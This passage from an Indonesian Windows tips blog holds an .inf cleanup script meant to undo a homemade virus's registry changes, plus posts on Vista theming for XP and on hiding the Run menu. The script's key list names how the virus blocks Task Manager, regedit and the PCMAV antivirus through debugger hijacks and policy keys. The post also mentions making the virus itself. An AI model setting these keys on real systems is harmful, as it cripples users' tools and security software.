Provider=Fariskhi

[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del

[UnhookRegKey]
HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, “INTERNET EXPLORER”

[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger

Setelah itu save dengan FILE TYPE : ALL FILES (*.*) dan simpan dengan nama : kalongxremoval.inf. Setelah itu klik kanan file tersebut dan pilih install. Jadi kita buat Virus dan Antidotnya sama-sama dengan Notepad.
bAca sElenGkapNyA!!

Windows XP dengan tampilan Vista


Windows XP dengan tampilan Vista


Windows telah mengeluarkan produk operasi sistem terbaru mereka yang bernama windows Vista.merekapun telah banyak memperbaiki kelemahan kelemahan yang ada di versi terdahulu menjadi lebih baik.Selain keunggulan sistem yang lebih optimal,tampilan yang ada pada windows vistapun cukup mengagumkan dan menarik.Tapi tidak sembarang komputer dapat dengan mudah dipasangi OS vista di komputernya.
Windows Vista menuntut spesifikasi hardware yang cukup tinggi,sehingga bagi anda yang memiliki spesifikasi komputer yang kecil saya sarankan untuk menunda dulu menginstall OS ini.jika anda tetap memaksa,dapat menyebabkan komputer menjadi lambat dalam bekerja.
melihat hal tersebut anda jangan berkecil hati dulu..anda masih tetap dapat menikmati windows Vista tersebut di dalam windows XP yang sudah terinstall di komputer anda sekarang.meskipun hanya sebatas tampilannya saja,saya yakin ini sudah lebih dari cukup.Sambil menunggu anda menabung membeli hardware yang sesuai dengan spesifikasi windows vista,tidak ada salahnya anda mencoba alternatif ini.

ntuk mengubah tampilan windows XP menjadi Vista dibutuhkan 2 software khusus yang bernama "VistaMizer dan "Desktop Sidebar"
kedua software tersebut merupakan freeware alias gratis.VistaMizer akan mengubah hampir keseluruhan tampilan termasuk splash screen, logon screen, desktop wallpaper, screensaver, taskbar, ikon, dan jendela-jendela Windos XP menjadi Vista.
sementara itu Desktop Sidebar membuat tampilan XP menjadi semakin Vista dengan menambahkan sidebar yang bisa dikustomisasi sesuai keinginan.yang lebih hebatnya lagi VistaMizer juga dapat mengubah sound scheme XP menjadi Vista.
Gimana hebat gak..tertarik untuk download nih?..download aja tuh Vistamizer danDisini untuk mendownload Desktop Sidebar

jika sudah mendownload kedua software tersebut tinggal menginstallnya seperti biasa...selamat mencoba..

Langkah Instalasinya:

1. untuk mencegah terjadinya Crash maka anda disarankan memback up semua data yang penting.
start>>all program>>control panel>>performance and maintance>>system

check pada turn off system restore apabila tidak ada tanda check list maka system restore windows xp anda sudah aktif.

2. buatlah restore point
start>>all program>>accesories>>system restore

create system restore sesuka anda misalnya "before windows vista" >>next . Pastikan nama yang anda ketik dapat teridentifikasi jika suatu saaat nanti anda memerlukan untuk memulihkan system windows kembali seperti semula >>close

3. Aplikasi Windows vista dapat anda download pada link di BLOG ini [windows vista ]

4. Setelah download selesai anda dapat mengestrak file tersebut ke folder/drive yang anda inginkan.
Kemudian akan keluar box dialog peringatan >> ok . Pada jendela selanjutnya tekan >>ok kembali setelah itu keluar kotak dialog waiting windows file protection. Tunggu sekitar satu menit>>ingat tunggu satu menit lalu klik>>ok. Kemudian akan muncul jendela instalasi windows vista transformation pack 5.5

5. kemudian anda tinggal next>>next>>accept.
Setelah itu anda akan memasuki jendela untuk melakukan pengaturan system file. Sebaiknya anda memilih Manual Transformation. >>next

6. pilih jenis huruf >>Segoe UI............

7. pilih mode sidebar

8. proses transformasi berjalan >>next tunggu sekitar 15 menit.

9. restart
bAca sElenGkapNyA!!

Sembunyikan Menu Run Pada Menu Start


Menu Run yang ada pada menu Start digunakan untuk mempercepat akses file program atau executable yang biasanya tidak tercatat dalam bagian Start>>All Programs. Namun karena alasan tertentu, misalnya alasan security, kita dapat Menyembunyikan Menu Run Pada Menu Start sehingga dengan demikian, orang lain yang menggunakan komputer kita tidak dapat mengaksesnya. Ikuti tipsnya bersama Tips dan Trik Komputer.

Langkah-langkah Menyembunyikan Menu Run Pada Menu Start adalah sebagai berikut.

1. Klik Start >> Run >> kemudian ketik regedit kemudian tekan OK atau ENTER hingga muncul jendela Registry Editor.

2. Kemudian klik HKEY_CURRENT_USER >> Software >> Microsoft >> Windows >> Current Version >> Policies >> Explorer


3. Kemudian klik kanan pada Explorer >> New Dword >>

4. Rename New Value menjadi NoRun

5. Klik double pada NoRun sehingga muncul jendela Edit Dword Value.

6. Ubah Value datanya menjadi 1.

7. Selesai

Sekarang, silakan logoff atau restart PC Anda dan pastikan menu Run sudah tidak muncul lagi.
bAca sElenGkapNyA!!

 
 
 
Blogger Bertuah
 
Copyright © aljufri